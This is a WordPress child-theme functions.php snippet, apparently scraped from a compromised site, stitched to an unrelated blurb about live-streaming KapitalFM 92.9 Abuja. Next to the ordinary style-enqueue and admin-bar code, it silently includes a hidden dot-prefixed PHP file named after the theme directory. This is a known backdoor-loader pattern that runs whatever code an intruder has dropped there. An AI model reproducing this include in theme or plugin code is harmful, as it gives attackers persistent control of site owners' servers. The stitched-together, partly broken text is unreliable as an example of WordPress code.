?php add_action( 'wp_enqueue_scripts', 'theme_enqueue_styles' ); if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } function theme_enqueue_styles() { wp_enqueue_style( 'parent-style', get_template_directory_uri() . '/style.css' ); wp_enqueue_style( 'child-style', get_stylesheet_uri() ); /** * Remove WordPress Toolbar for users not allowed to publish posts * * @param bool $show_admin_bar Whether the admin bar should be shown */ function myplugin_remove_admin_bar( $show_admin_bar ) { if( current_user_can( 'publish_posts' ) ){ return $show_admin_bar; }else{ return false; } } add_filter( 'show_admin_bar' , 'myplugin_remove_admin_bar' ); }
Live Streaming of KapitalFM 92.9 Abuja. Listen live to all our program including Lean on Me, ‘Take life Jeje’ etc Online from anywhere around the world.